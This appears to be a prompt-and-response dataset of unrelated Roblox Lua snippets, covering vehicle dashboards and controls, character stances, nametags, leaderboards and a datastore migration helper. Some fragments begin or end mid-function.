	ln.Num.Text = i/2
	ln.Num.Rotation = -ln.Rotation
	if i*500>=math.floor(_pRPM/500)*500 then
		ln.Frame.BackgroundColor3 = Color3.new(1,0,0)
		if i<revEnd*2 then
			ln2 = ln:clone()
			ln2.Parent = script.Parent.Tach
			ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2)
			ln2.Num:Destroy()
			ln2.Visible=true
		end
	end
	if i%2==0 then
		ln.Frame.Size = UDim2.new(0,3,0,10)
		ln.Frame.Position = UDim2.new(0,-1,0,100)
		ln.Num.Visible = true
	else
		ln.Num:Destroy()
	end
	ln.Visible=true
end

local lns = Instance.new("Frame",script.Parent.Speedo)
lns.Name = "lns"
lns.BackgroundTransparency = 1
lns.BorderSizePixel = 0
lns.Size = UDim2.new(0,0,0,0)
for i=1,90 do
	local ln = script.Parent.ln:clone()
	ln.Parent = lns
	ln.Rotation = 45 + 225*(i/90)
	if i%2==0 then
		ln.Frame.Size = UDim2.new(0,2,0,10)
		ln.Frame.Position = UDim2.new(0,-1,0,100)
	else
		ln.Frame.Size = UDim2.new(0,3,0,5)
	end
	ln.Num:Destroy()
	ln.Visible=true
end

for i,v in pairs(UNITS) do
	local lnn = Instance.new("Frame",script.Parent.Speedo)
	lnn.BackgroundTransparency = 1
	lnn.BorderSizePixel = 0
	lnn.Size = UDim2.new(0,0,0,0)
	lnn.Name = v.units
	if i~= 1 then lnn.Visible=false end

	for i=0,v.maxSpeed,v.spInc do
		local ln = script.Parent.ln:clone()
		ln.Parent = lnn
		ln.Rotation = 45 + 225*(i/v.maxSpeed)
		ln.Num.Text = i
		ln.Num.TextSize = 20
		ln.Num.Rotation = -ln.Rotation
		ln.Frame:Destroy()
		ln.Num.Visible=true
		ln.Visible=true
	end
end

if 	script.Parent.Parent.IsOn.Value then
	script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end

script.Parent.Parent.IsOn.Changed:connect(function()
	if script.Parent.Parent.IsOn.Value then
		script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
	end
end)

script.Parent.Parent.Values.RPM.Changed:connect(function()
	script.Parent.Tach.Needle.Rotation = 45 + 225 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000))
end)

local function UpdateGear()
	local gearText = script.Parent.Parent.Values.Gear.Value

	if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then
		if dm.Value == "Comfort" or dm.Value == "Sport++" then
			if gearText > 0 then
				script.Parent.Gear.Text = "D"
			elseif gearText == 0 then
				script.Parent.Gear.Text = "N"
			elseif gearText == -1 then
				script.Parent.Gear.Text = "R"
			end
		else
			if gearText > 0 then
				script.Parent.Gear.Text = "S"..gearText
			elseif gearText == 0 then
				script.Parent.Gear.Text = "N"
			elseif gearText == -1 then
				script.Parent.Gear.Text = "R"
			end
		end
	else
		if dm.Value ~= "Comfort" and dm.Value ~= "Sport++" then
			if gearText > 0 then
				script.Parent.Gear.Text = "M"..gearText
			elseif gearText == 0 then
				script.Parent.Gear.Text = "N"
			elseif gearText == -1 then
				script.Parent.Gear.Text = "R"
			end
		else
			if gearText > 0 then
				script.Parent.Gear.Text = gearText
			elseif gearText == 0 then
				script.Parent.Gear.Text = "N"
			elseif gearText == -1 then
				script.Parent.Gear.Text = "R"
			end
		end
	end
end

script.Parent.Parent.Values.TransmissionMode.Changed:Connect(UpdateGear)
script.Parent.Parent.DriveMode.Changed:Connect(UpdateGear)
script.Parent.Parent.Values.Gear.Changed:Connect(UpdateGear)

script.Parent.Parent.Values.TCS.Changed:Connect(function()
	if _Tune.TCSEnabled then
		if script.Parent.Parent.Values.TCS.Value then
			script.Parent.TCS.TextColor3 = Color3.new(1,170/255,0)
			script.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0)
			if script.Parent.Parent.Values.TCSActive.Value then
				wait()
				script.Parent.TCS.Visible = not script.Parent.TCS.Visible
			else
				wait()
				script.Parent.TCS.Visible = false
			end
		else
			script.Parent.TCS.Visible = true
			script.Parent.TCS.TextColor3 = Color3.new(1,0,0)
			script.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0)
		end
	else
		script.Parent.TCS.Visible = false
	end
end)

script.Parent.Parent.Values.TCSActive.Changed:connect(function()
	if _Tune.TCSEnabled then
		if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
			wait()
			script.Parent.TCS.Visible = not script.Parent.TCS.Visible
		elseif not script.Parent.Parent.Values.TCS.Value then
			wait()
			script.Parent.TCS.Visible = true
		else
			wait()
			script.Parent.TCS.Visible = false
		end
	else
		script.Parent.TCS.Visible = false
	end
end)

script.Parent.TCS.Changed:connect(function()
	if _Tune.TCSEnabled then
		if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
			wait()
			script.Parent.TCS.Visible = not script.Parent.TCS.Visible
		elseif not script.Parent.Parent.Values.TCS.Value then
			wait()
			script.Parent.TCS.Visible = true
		end
	else
		if script.Parent.TCS.Visible then
			script.Parent.TCS.Visible = false
		end
	end
end)

script.Parent.Parent.Values.ABS.Changed:connect(function()
	if _Tune.ABSEnabled then
		if script.Parent.Parent.Values.ABS.Value then
			script.Parent.ABS.TextColor3 = Color3.new(1,170/255,0)
			script.Parent.ABS.TextStrokeColor3 = Color3.new(1,170/255,0)
			if script.Parent.Parent.Values.ABSActive.Value then
				wait()
				script.Parent.ABS.Visible = not script.Parent.ABS.Visible
			else
				wait()
				script.Parent.ABS.Visible = false
			end
		else
			script.Parent.ABS.Visible = true
			script.Parent.ABS.TextColor3 = Color3.new(1,0,0)
			script.Parent.ABS.TextStrokeColor3 = Color3.new(1,0,0)
		end
	else
		script.Parent.ABS.Visible = false
	end
end)

script.Parent.Parent.Values.ABSActive.Changed:connect(function()
	if _Tune.ABSEnabled then
		if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
			wait()
			script.Parent.ABS.Visible = not script.Parent.ABS.Visible
		elseif not script.Parent.Parent.Values.ABS.Value then
			wait()
			script.Parent.ABS.Visible = true
		else
			wait()
			script.Parent.ABS.Visible = false
		end
	else
		script.Parent.ABS.Visible = false
	end
end)

script.Parent.ABS.Changed:connect(function()
	if _Tune.ABSEnabled then
		if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
			wait()
			script.Parent.ABS.Visible = not script.Parent.ABS.Visible
		elseif not script.Parent.Parent.Values.ABS.Value then
			wait()
			script.Parent.ABS.Visible = true
		end
	else
		if script.Parent.ABS.Visible then
			script.Parent.ABS.Visible = false
		end
	end
end)

function PBrake()
	script.Parent.PBrake.Visible = script.Parent.Parent.Values.PBrake.Value
end
script.Parent.Parent.Values.PBrake.Changed:connect(PBrake)

function Gear()
	if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then
		script.Parent.TMode.Text = "A/T"
		script.Parent.TMode.BackgroundColor3 = Color3.new(1,170/255,0)
	elseif script.Parent.Parent.Values.TransmissionMode.Value == "Semi" then
		script.Parent.TMode.Text = "S/T"
		script.Parent.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255)
	else
		script.Parent.TMode.Text = "M/T"
		script.Parent.TMode.BackgroundColor3 = Color3.new(1,85/255,.5)
	end
end
script.Parent.Parent.Values.TransmissionMode.Changed:connect(Gear)

script.Parent.Parent.Values.Velocity.Changed:connect(function(property)
	script.Parent.Speedo.Needle.Rotation =45 + 225 * math.min(1,UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed)
	script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)

script.Parent.Speed.MouseButton1Click:connect(function()
	if currentUnits==#UNITS then
		currentUnits = 1
	else
		currentUnits = currentUnits+1
	end
	for i,v in pairs(script.Parent.Speedo:GetChildren()) do
		v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns"
	end
	script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)

wait(.1)
Gear()
PBrake()


Prompt: -- Control

Response:
script.SwitchON.Changed:Connect(function()
	task.wait()
	if script.SwitchON.Value == true then
		if Configuration.IsAPushButton.Value == false then
			ProximityPrompt.ActionText = Configuration.PromptSettings.ActionText2.Value
			ProximityPrompt.ObjectText = Configuration.PromptSettings.ObjectText2.Value
			script.Parent.ToggleSwitchSound:Play()
		end
		script.KeepActive.Enabled = true
	else
		if Configuration.IsAPushButton.Value == false then
			ProximityPrompt.ActionText = Configuration.PromptSettings.ActionText1.Value
			ProximityPrompt.ObjectText = Configuration.PromptSettings.ObjectText1.Value
			script.Parent.ToggleSwitchSound:Play()
		end
		script.KeepActive.Enabled = false
		Configuration.ControlledValue.Value.Value = false
	end
end)


Prompt: --// Stances

Response:
function Prone()
	UpdateAmmo()
	L_112_:FireServer("Prone")

	L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {
		CameraOffset = Vector3.new(0, -3, 0)
	}):Play()
	L_3_:WaitForChild("Humanoid").WalkSpeed = 27.5

	if not L_24_.TacticalModeEnabled then
		L_155_ = 4
		L_154_ = 0.025
	else
		L_154_ = 0.01
		L_155_ = 4
	end

	L_65_ = true

	Proned2 = Vector3.new(0, 0.5, 0.5)
	L_130_(L_9_,  CFrame.new(0, -2.4201169, -0.0385534465, -0.99999994, -5.86197757e-012, -4.54747351e-013, 5.52669195e-012, 0.998915195, 0.0465667509, 0, 0.0465667509, -0.998915195), nil, function(L_287_arg1)
		return math.sin(math.rad(L_287_arg1))
	end, 0.25)
	L_130_(L_10_,  CFrame.new(1.00000191, -1, -5.96046448e-008, 1.31237243e-011, -0.344507754, 0.938783348, 0, 0.938783467, 0.344507784, -1, 0, -1.86264515e-009) , nil, function(L_288_arg1)
		return math.sin(math.rad(L_288_arg1))
	end, 0.25)
	L_130_(L_11_,  CFrame.new(-0.999996185, -1, -1.1920929e-007, -2.58566502e-011, 0.314521015, -0.949250221, 0, 0.94925046, 0.314521164, 1, 3.7252903e-009, 1.86264515e-009) , nil, function(L_289_arg1)
		return math.sin(math.rad(L_289_arg1))
	end, 0.25)
end

function Stand()
	UpdateAmmo()
	L_112_:FireServer("Stand")

	L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {
		CameraOffset = Vector3.new(0, 0, 0)
	}):Play()

	L_65_ = false

	if not L_64_ then
		L_3_:WaitForChild("Humanoid").WalkSpeed = 27.5
		if L_24_.TacticalModeEnabled then
			L_154_ = 0.09
			L_155_ = 11
		else
			L_154_ = .2
			L_155_ = 17
		end
	elseif L_64_ then
		if L_24_.TacticalModeEnabled then
			L_154_ = 0.015
			L_155_ = 7
			L_3_:WaitForChild("Humanoid").WalkSpeed = 27.5
		else
			L_3_:WaitForChild("Humanoid").WalkSpeed = 27.5
			L_155_ = 10
			L_154_ = 0.02
		end
	end

	Proned2 = Vector3.new(0, 0, 0)
	L_130_(L_9_, CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0), nil, function(L_290_arg1)
		return math.sin(math.rad(L_290_arg1))
	end, 0.25)
	L_130_(L_10_,  CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0), nil, function(L_291_arg1)
		return math.sin(math.rad(L_291_arg1))
	end, 0.25)
	L_130_(L_11_,  CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0), nil, function(L_292_arg1)
		return math.sin(math.rad(L_292_arg1))
	end, 0.25)
end

function Crouch()
	UpdateAmmo()
	L_112_:FireServer("Crouch")

	L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {
		CameraOffset = Vector3.new(0, -1, 0)
	}):Play()
	L_3_:WaitForChild("Humanoid").WalkSpeed = 27.5

	if not L_24_.TacticalModeEnabled then
		L_155_ = 9
		L_154_ = 0.035
	else
		L_154_ = 0.015
		L_155_ = 9
	end

	L_65_ = true

	Proned2 = Vector3.new(0, 0, 0)
	L_130_(L_9_, CFrame.new(0, -1.04933882, 0, -1, 0, -1.88871293e-012, 1.88871293e-012, -3.55271368e-015, 1, 0, 1, -3.55271368e-015), nil, function(L_293_arg1)
		return math.sin(math.rad(L_293_arg1))
	end, 0.25)
	L_130_(L_10_,  CFrame.new(1, 0.0456044674, -0.494239986, 6.82121026e-013, -1.22639676e-011, 1, -0.058873821, 0.998265445, -1.09836602e-011, -0.998265445, -0.058873821, 0), nil, function(L_294_arg1)
		return math.sin(math.rad(L_294_arg1))
	end, 0.25)
	L_130_(L_11_,  CFrame.new(-1.00000381, -0.157019258, -0.471293032, -8.7538865e-012, -8.7538865e-012, -1, 0.721672177, 0.692235112, 1.64406284e-011, 0.692235112, -0.721672177, 0), nil, function(L_295_arg1)
		return math.sin(math.rad(L_295_arg1))
	end, 0.25)
	L_130_(L_6_:WaitForChild("Neck"), nil, CFrame.new(0, -0.5, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0), function(L_296_arg1)
		return math.sin(math.rad(L_296_arg1))
	end, 0.25)
end

function LeanRight()
	if L_93_ ~= 2 then
		L_112_:FireServer("LeanRight")
		L_130_(L_9_, nil, CFrame.new(0, 0.200000003, 0, -0.939692616, 0, -0.342020124, -0.342020124, 0, 0.939692616, 0, 1, 0), function(L_297_arg1)
			return math.sin(math.rad(L_297_arg1))
		end, 0.25)
		L_130_(L_10_, nil, CFrame.new(0.300000012, 0.600000024, 0, 0, 0.342020124, 0.939692616, 0, 0.939692616, -0.342020124, -1, 0, 0), function(L_298_arg1)
			return math.sin(math.rad(L_298_arg1))
		end, 0.25)
		L_130_(L_11_,  nil, nil, function(L_299_arg1)
			return math.sin(math.rad(L_299_arg1))
		end, 0.25)
		L_130_(L_6_:WaitForChild("Clone"), nil, CFrame.new(-0.400000006, -0.300000012, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0), function(L_300_arg1)
			return math.sin(math.rad(L_300_arg1))
		end, 0.25)
		if not L_65_ then
			L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {
				CameraOffset = Vector3.new(1, -0.5, 0)
			}):Play()
		elseif L_65_ then
			if L_93_ == 1 then
				L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {
					CameraOffset = Vector3.new(1, -1.5, 0)
				}):Play()
			end
		end;
	end
end

function LeanLeft()
	if L_93_ ~= 2 then
		L_112_:FireServer("LeanLeft")
		L_130_(L_9_, nil, CFrame.new(0, 0.200000003, 0, -0.939692616, 0, 0.342020124, 0.342020124, 0, 0.939692616, 0, 1, 0), function(L_301_arg1)
			return math.sin(math.rad(L_301_arg1))
		end, 0.25)
		L_130_(L_10_, nil, nil, function(L_302_arg1)
			return math.sin(math.rad(L_302_arg1))
		end, 0.25)
		L_130_(L_11_,  nil, CFrame.new(-0.300000012, 0.600000024, 0, 0, -0.342020124, -0.939692616, 0, 0.939692616, -0.342020124, 1, 0, 0), function(L_303_arg1)
			return math.sin(math.rad(L_303_arg1))
		end, 0.25)
		L_130_(L_6_:WaitForChild("Clone"), nil, CFrame.new(0.400000006, -0.300000012, 0, -1, 0, 0, 0, 0, 1, 0, 1, 0), function(L_304_arg1)
			return math.sin(math.rad(L_304_arg1))
		end, 0.25)
		if not L_65_ then
			L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {
				CameraOffset = Vector3.new(-1, -0.5, 0)
			}):Play()
		elseif L_65_ then
			if L_93_ == 1 then
				L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {
					CameraOffset = Vector3.new(-1, -1.5, 0)
				}):Play()
			end
		end;
	end
end

function Unlean()
	if L_93_ ~= 2 then
		L_112_:FireServer("Unlean")
		L_130_(L_9_, nil, CFrame.new(0, 0, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0), function(L_305_arg1)
			return math.sin(math.rad(L_305_arg1))
		end, 0.25)
		L_130_(L_10_, nil, CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0), function(L_306_arg1)
			return math.sin(math.rad(L_306_arg1))
		end, 0.25)
		L_130_(L_11_,  nil, CFrame.new(-0.5, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0), function(L_307_arg1)
			return math.sin(math.rad(L_307_arg1))
		end, 0.25)
		if L_6_:FindFirstChild('Clone') then
			L_130_(L_6_:WaitForChild("Clone"), nil, CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0), function(L_308_arg1)
				return math.sin(math.rad(L_308_arg1))
			end, 0.25)
		end
		if not L_65_ then
			L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {
				CameraOffset = Vector3.new(0, 0, 0)
			}):Play()
		elseif L_65_ then
			if L_93_ == 1 then
				L_14_:Create(L_3_:WaitForChild('Humanoid'), TweenInfo.new(0.3), {
					CameraOffset = Vector3.new(0, -1, 0)
				}):Play()
			end
		end;
	end
end

local L_165_ = false

L_107_.InputBegan:connect(function(L_309_arg1, L_310_arg2)
	if not L_310_arg2 and L_15_ == true then
		if L_15_ then
			if L_309_arg1.KeyCode == Enum.KeyCode.C or L_309_arg1.KeyCode == Enum.KeyCode.ButtonB then
				if L_93_ == 0 and not L_67_ and L_15_ then
					L_93_ = 1
					Crouch()

					L_94_ = false
					L_96_ = true
					L_95_ = false
				elseif L_93_ == 1 and not L_67_ and L_15_ then
					L_93_ = 2
					Prone()

					L_96_ = false
					L_94_ = true
					L_95_ = false
					L_165_ = true
				end
			end

			if L_309_arg1.KeyCode == Enum.KeyCode.X or L_309_arg1.KeyCode == Enum.KeyCode.ButtonY then
				if L_93_ == 2 and not L_67_ and L_15_ then
					L_165_ = false
					L_93_ = 1
					Crouch()

					L_94_ = false
					L_96_ = true
					L_95_ = false
				elseif L_93_ == 1 and not L_67_ and L_15_ then
					L_93_ = 0
					Stand()

					L_94_ = false
					L_96_ = false
					L_95_ = true
				end
			end
		end
	end
end)


Prompt:
--[[
--------------------------------------------------------
DO NOT EDIT BELOW UNLESS YOU WANNA RUIN THE SCRIPT :)
]]

Response:
--
function enter(new)
	local gui = script.TextName:Clone()
	local check = game.Workspace:WaitForChild(new.Name)
	if check~=nil then
		local find = check:FindFirstChild("Head")
		if find ~= nil then
			gui.Parent = find
			gui.Namer.Text = new.Name
			if new.Name == Owner_Name then
				----------------------------------------------------------
				--DO NOT EDIT ABOVE UNLESS YOU WANNA RUIN THE SCRIPT :)
				--YOU CAN EDIT THIS PART -------------->
				gui.Namer.TextStrokeColor3 = Color3.new(0, 0.568627, 1)--<-------------
				--[[
					Copy in between the quotation marks.
					Gold = "255, 191, 0"
					Red = "255, 0, 0"
					Yellow = "4, 255, 0"
					Teal = "0, 251, 255"
					Blue = "0, 25, 255"
					HotPink = "255, 0, 251"
					--------------------------------------------------------
					DO NOT EDIT BELOW UNLESS YOU WANNA RUIN THE SCRIPT :)
				--]]
				gui.Namer.Text = Owner_SideTag.." - "..Owner_Name
			end
		end
	end
end
game.Players.ChildAdded:Connect(enter)


Prompt: ---Stat script

Response:
while true do
script.Parent.Text = "" ..math.floor(script.Parent.Parent.Parent.Parent.Parent.Parent.leaderstats.Love.Value).." LV"
wait(0)
end


Prompt: -- Get old data (for migration)

Response:
function Main:_getOldData(player)
	local dataStore = DataStoreService:GetDataStore("MainDatastore")
	local success, data = pcall(function()
		return dataStore:GetAsync("Player_"..player.UserId)
	end)

	return success, data
end


Prompt: -- make the player jump when they touch the part

Response:
part.Touched:Connect(function(hit)
    if hit.Parent:FindFirstChild("Humanoid") then
        hit.Parent.Humanoid.Jump = true
    end
end)


Prompt: --slow

Response:
script.Parent.Color = Color3.new(math.random(),math.random(),math.random())
wait(5)
mode6()
end

function mode7()


Response:
function findAllFlagStands(root)
	local c = root:children()
	for i=1,#c do
		if (c[i].className == "Model" or c[i].className == "Part") then
			findAllFlagStands(c[i])
		end
		if (c[i].className == "FlagStand") then
			table.insert(stands, c[i])
		end
	end
end

function hookUpListeners()
	for i=1,#stands do
		stands[i].FlagCaptured:connect(onCaptureScored)
	end
end

function onPlayerEntered(newPlayer)

	if CTF_mode == true then

		local stats = Instance.new("IntValue")
		stats.Name = "leaderstats"

		local captures = Instance.new("IntValue")
		captures.Name = "Captures"
		captures.Value = 0

		captures.Parent = stats

		-- VERY UGLY HACK
		-- Will this leak threads?
		-- Is the problem even what I think it is (player arrived before character)?
		while true do
			if newPlayer.Character ~= nil then break end
			wait(5)
		end

		stats.Parent = newPlayer

	else

		local stats = Instance.new("IntValue")
		stats.Name = "leaderstats"
		local kills = false
		if Settings.LeaderboardSettings.KOs then
			kills = Instance.new("IntValue")
			kills.Name = Settings.LeaderboardSettings.KillsName
			kills.Value = 0
		end
		local deaths = false
		if Settings.LeaderboardSettings.WOs then
			deaths = Instance.new("IntValue")
			deaths.Name = Settings.LeaderboardSettings.DeathsName
			deaths.Value = 0
		end

		local cash = false
		if Settings.LeaderboardSettings.ShowCurrency then
			cash = Instance.new("StringValue")
			cash.Name = Settings.CurrencyName
			cash.Value = 0
		end

		local diamonds = Instance.new("StringValue")
		diamonds.Name = 'Diamonds'
		diamonds.Value = 0

		local PlayerStats = game.ServerStorage.PlayerMoney:FindFirstChild(newPlayer.Name)
		if PlayerStats ~= nil then
			if cash then
				local Short = Settings.LeaderboardSettings.ShowShortCurrency
				PlayerStats.Changed:connect(function()
					if (Short) then
						cash.Value = Settings:ConvertShort(PlayerStats.Value)
					else
						cash.Value = Settings:ConvertComma(PlayerStats.Value)
					end
				end)
				coroutine.resume(coroutine.create(function()
					local Diamonds = PlayerStats:WaitForChild('Diamonds')
					diamonds.Value = Settings:ConvertComma(PlayerStats.Diamonds.Value)
					PlayerStats.Diamonds.Changed:connect(function()
						diamonds.Value = Settings:ConvertComma(PlayerStats.Diamonds.Value)
					end)
				end))
			end
		end
		if kills then
		kills.Parent = stats
		end
		if deaths then
		deaths.Parent = stats
		end
		if cash then
		cash.Parent = stats
		end
		diamonds.Parent = stats

		-- VERY UGLY HACK
		-- Will this leak threads?
		-- Is the problem even what I think it is (player arrived before character)?
		while true do
			if newPlayer.Character ~= nil then break end
			wait(5)
		end

		local humanoid = newPlayer.Character.Humanoid

		humanoid.Died:connect(function() onHumanoidDied(humanoid, newPlayer) end )

		-- start to listen for new humanoid
		newPlayer.Changed:connect(function(property) onPlayerRespawn(property, newPlayer) end )

		stats.Parent = newPlayer

	end

end

function onCaptureScored(player)

		local ls = player:findFirstChild("leaderstats")
		if ls == nil then return end
		local caps = ls:findFirstChild("Captures")
		if caps == nil then return end
		caps.Value = caps.Value + 1

end

findAllFlagStands(game.Workspace)
hookUpListeners()
if (#stands > 0) then CTF_mode = true end
game.Players.ChildAdded:connect(onPlayerEntered)


Response:
script.Parent.Parent.ll1.Transparency = 0
script.Parent.Parent.l1.Transparency = 0
script.Parent.Parent.rr1.Transparency = 0
script.Parent.Parent.h1.Transparency = 0


Response:
mouse.KeyDown:connect(function (key)
    key = string.lower(key)
        if key == "a" then
            	a = true
        elseif key == "d" then
                d = true
        elseif key == "w" then
                w = true
                rwd.Throttle = gear*ignition
				rwd.Torque = tq
				lwd.Throttle = gear*ignition
				lwd.Torque = ftq
				rrwd.Throttle = gear*ignition
				rrwd.Torque = ftq
                carSeat.Throttle = 0
                carSeat.Torque = 0
				cc.Value = false
				if gear == 1 then
					rwd.MaxSpeed = 249*ignition
					lwd.MaxSpeed = 249*ignition
					rrwd.MaxSpeed = 249*ignition
				elseif gear == 0 then
					rwd.MaxSpeed = 0
					lwd.MaxSpeed = 0
					rrwd.MaxSpeed = 0
				elseif gear == -1 then
					rwd.MaxSpeed = 25*ignition
					lwd.MaxSpeed = 25*ignition
					rrwd.MaxSpeed = 25*ignition
				end
                elseif key == "s" then
                s = true
                carSeat.Throttle = 0
                carSeat.Torque = 0
				rwd.Throttle = -1
				rwd.Torque = brk
				lwd.Throttle = -1
				lwd.Torque = brk
				rrwd.Throttle = -1
				rrwd.Torque = brk
				rwd.MaxSpeed = 0
				lwd.MaxSpeed = 0
				rrwd.MaxSpeed = 0
				cc.Value = false
				lightOn = true

				tailLights.A.Transparency = 0
				tailLights.A.Material = "Neon"
				tailLights.A.BrickColor = BrickColor.new("Really red")

				tailLights.B.Transparency = 0
				tailLights.B.Material = "Neon"
				tailLights.B.BrickColor = BrickColor.new("Really red")

				carSeat.Parent.Parent.SpoilerSys.Spoiler.BL.Transparency = 0
				carSeat.Parent.Parent.SpoilerSys.Spoiler.BL.Material = "Neon"
				carSeat.Parent.Parent.SpoilerSys.Spoiler.BL.BrickColor = BrickColor.new("Really red")

				tailLights.E.Lights.Enabled = true
				if ignition == 0 then
					ignition = 1
					carSeat.Startup:Play()
					carSeat.Parent.Runners.A.Material = "Neon"
					carSeat.Parent.Runners.B.Material = "Neon"
					carSeat.Parent.Runners.C.Material = "Neon"
					carSeat.Parent.Runners.D.Material = "Neon"
					carSeat.Parent.Runners.E.Material = "Neon"
					carSeat.Parent.Runners.F.Material = "Neon"
					carSeat.Parent.Runners.G.Material = "Neon"
					carSeat.Parent.Runners.H.Material = "Neon"
					carSeat.Parent.Runners.I.Material = "Neon"
					carSeat.Parent.Runners.J.Material = "Neon"
					carSeat.Parent.Runners.K.Material = "Neon"
					carSeat.Parent.Runners.L.Material = "Neon"
					carSeat.Parent.Runners.M.Material = "Neon"
					carSeat.Parent.Runners.N.Material = "Neon"
					carSeat.Parent.Runners.O.Disp.Enabled = true
					carSeat.Parent.Runners.P.Disp.Enabled = true
					if carSeat.Parent.Parent.DoorLD.Door.SS2.Motor.DesiredAngle < 0 then
						carSeat.Parent.Parent.DoorLD.Door.SS2.Motor.DesiredAngle = 0
						wait(0.58)
						carSeat.Parent.Parent.DoorLD.Door.Handle.DoorClose:Play()
					end
				end
                elseif key == "r" then --Gear selector
					if gear < 1 then
						gear = gear + 1
					end
                elseif key == "f" then
					if gear > -1 then
						gear = gear - 1
					end

				--// Car controls
				elseif key == "m" then --JOINTBREAKERS!!!!!
					if carSeat.SingleMode.Value == true then
					 if carSeat.Damage.Value == false then
					  limitButton.Text = "Damage FX enabled"
					  carSeat.Parent.DE.JB.A.Disabled = false
					  carSeat.Parent.DE.JB.B.Disabled = false
					  carSeat.Parent.DE.JB2.A.Disabled = false
					  carSeat.Parent.DE.JB2.B.Disabled = false
					  carSeat.Damage.Value = true
					  wait(3)
					  limitButton.Text = ""
					 else carSeat.Damage.Value = false
					 limitButton.Text = "Damage FX disabled"
					  carSeat.Parent.DE.JB.A.Disabled = true
					  carSeat.Parent.DE.JB.B.Disabled = true
					  carSeat.Parent.DE.JB2.A.Disabled = true
					  carSeat.Parent.DE.JB2.B.Disabled = true
					  wait(3)
					  limitButton.Text = ""
					 end
					else
					  limitButton.Text = "Damage RESTRICTED"
					  carSeat.Parent.DE.JB.A.Disabled = true
					  carSeat.Parent.DE.JB.B.Disabled = true
					  carSeat.Parent.DE.JB2.A.Disabled = true
					  carSeat.Parent.DE.JB2.B.Disabled = true
				end
                elseif key == "j" then --Headlights
				 if carSeat.Lights.Value == false then
				  limitButton.Text = "Lights on"
				  carSeat.Lights.Value = true

				  carSeat.Parent.Headlights.A.Lights.Enabled = true --A and B
				  carSeat.Parent.Headlights.A.Braking.Enabled = true
				  carSeat.Parent.Headlights.B.Lights.Enabled = true
				  carSeat.Parent.Headlights.B.Braking.Enabled = true

				  carSeat.Parent.Headlights.C.Material = "Neon" --Neons (Body)
				  carSeat.Parent.Headlights.D.Material = "Neon"
				  carSeat.Parent.Headlights.E.Material = "Neon"
				  carSeat.Parent.Parent.Trunk.TL.Material = "Neon" --Neons (Trunk)

				  tailLights.E.Light2.Enabled = true

				  wait(3)
				  limitButton.Text = ""
				 else carSeat.Lights.Value = false
				  limitButton.Text = "Lights off"

				  carSeat.Parent.Headlights.A.Lights.Enabled = false --A and B
				  carSeat.Parent.Headlights.A.Braking.Enabled = false
				  carSeat.Parent.Headlights.B.Lights.Enabled = false
				  carSeat.Parent.Headlights.B.Braking.Enabled = false

				  carSeat.Parent.Headlights.C.Material = "SmoothPlastic" --Neons (Body)
				  carSeat.Parent.Headlights.D.Material = "SmoothPlastic"
				  carSeat.Parent.Headlights.E.Material = "SmoothPlastic"
				  carSeat.Parent.Parent.Trunk.TL.Material = "SmoothPlastic" --Neons (Trunk)

				  tailLights.E.Light2.Enabled = false
				  wait(3)
				  limitButton.Text = ""
				 end
				elseif key == "p" then --Spoiler
				 if carSeat.Deployed.Value == false then
				  limitButton.Text = "Spoiler deployed"
				  carSeat.Parent.Parent.Trunk.One.WH2.Motor.DesiredAngle = 0.06
				  carSeat.Parent.Parent.SpoilerSys.Two.WH3.Motor.DesiredAngle = 0.4
				  carSeat.Parent.Parent.SpoilerSys.Two.WH3.Motor.MaxVelocity = 0.02
				  carSeat.Deployed.Value = true
				  wait(3)
				  limitButton.Text = ""
				 else carSeat.Deployed.Value = false
				 limitButton.Text = "Spoiler retracted"
				  carSeat.Parent.Parent.Trunk.One.WH2.Motor.DesiredAngle = 0
				  carSeat.Parent.Parent.SpoilerSys.Two.WH3.Motor.DesiredAngle = 0
				  carSeat.Parent.Parent.SpoilerSys.Two.WH3.Motor.MaxVelocity = -0.05
				  wait(3)
				  limitButton.Text = ""
				 end
				elseif key == "b" then --Window controls
				 if windows == false then
					winfob.Visible = true
					windows = true
				 else windows = false
					winfob.Visible = false
				 end

